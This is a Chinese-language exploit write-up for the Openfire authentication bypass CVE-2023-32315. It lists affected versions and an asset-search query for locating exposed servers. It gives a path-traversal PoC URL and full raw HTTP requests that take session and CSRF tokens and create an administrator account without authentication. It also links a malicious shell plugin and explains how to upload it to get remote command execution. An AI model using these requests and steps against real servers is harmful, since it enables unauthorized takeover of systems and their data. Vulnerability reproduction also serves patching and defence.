# Openfire身份认证绕过漏洞&getshell(CVE-2023-32315) # 一、漏洞简介 Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单，并利用Web进行管理。单台服务器甚至可支持上万并发用户。Openfire的管理控制台是一个基于 Web 的应用程序，被发现可以使用路径遍历的方式绕过权限校验。成功利用后，未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能，所以攻击者可以通过安装恶意插件达成远程代码执行的效果。 # 二、影响版本 + 3.10.0 <= Openfire < 4.6.8 + 4.7.0 <= Openfire 4.7.x < 4.7.5 # 三、资产测绘 + hunter`app.name="Openfire"`![1692201143517-80f3a4d3-bec2-4829-876a-090c26f9d7e0.png](./img/TunDJjI7qkurQ1y9/1692201143517-80f3a4d3-bec2-4829-876a-090c26f9d7e0-665458.png) + 登录页面 ![1692201198433-2be7c1b6-5b9c-4f5f-9797-91444ec564ad.png](./img/TunDJjI7qkurQ1y9/1692201198433-2be7c1b6-5b9c-4f5f-9797-91444ec564ad-037854.png) # 四、漏洞复现 ## POC 当访问poc出现如下情况表示存在漏洞 ```plain /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp ``` ![1692201286860-3786d6ee-869c-4059-b250-141dd492092e.png](./img/TunDJjI7qkurQ1y9/1692201286860-3786d6ee-869c-4059-b250-141dd492092e-360287.png) EXP 1. 获取`JSESSIONID`和`csrftoken` ```plain GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ``` ![1692201403607-088e873f-8b9d-4e95-bbdc-22591b30bb7c.png](./img/TunDJjI7qkurQ1y9/1692201403607-088e873f-8b9d-4e95-bbdc-22591b30bb7c-863460.png) 3. 通过上一步回去到的`JSESSIONID`和`csrftoken`替换下列数据包中相应参数，构造用户 ```plain GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=qvq9l8fyflxMuwP&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0m00xukgw3om052y56u7ppl451582.node0; csrf=qvq9l8fyflxMuwP Upgrade-Insecure-Requests: 1 ``` ![1692201513050-a62bdc73-e575-464c-80f8-76e6d088d6be.png](./img/TunDJjI7qkurQ1y9/1692201513050-a62bdc73-e575-464c-80f8-76e6d088d6be-661254.png) 4. 使用创建的账户`test123/test123`,登录 ![1692201674481-2f2c2a1d-6249-439e-a4c0-7092b17aa047.png](./img/TunDJjI7qkurQ1y9/1692201674481-2f2c2a1d-6249-439e-a4c0-7092b17aa047-414561.png) 5. 在插件处上传利用插件getsgell 插件下载地址：[https://download.csdn.net/download/qq_33331244/88224220](https://download.csdn.net/download/qq_33331244/88224220) ![1692202063603-a440bf6b-8bbb-4e44-b742-732bd84bb9e7.png](./img/TunDJjI7qkurQ1y9/1692202063603-a440bf6b-8bbb-4e44-b742-732bd84bb9e7-926645.png) 6. 插件上传成功 ![1692202109870-8ee54e40-3ef4-459f-81d5-3f5570cbedba.png](./img/TunDJjI7qkurQ1y9/1692202109870-8ee54e40-3ef4-459f-81d5-3f5570cbedba-838296.png) 7. 进入服务器->服务器设置->shellplugin，输入密码123，即可实现rce ![1692202180669-e5ebf2c2-650b-4000-b631-60a70bc1ef45.png](./img/TunDJjI7qkurQ1y9/1692202180669-e5ebf2c2-650b-4000-b631-60a70bc1ef45-199143.png) ![1692202195272-898e77a1-37c4-43cd-97f1-5c3be719f144.png](./img/TunDJjI7qkurQ1y9/1692202195272-898e77a1-37c4-43cd-97f1-5c3be719f144-956700.png) > 更新: 2024-02-29 23:57:33 > 原文: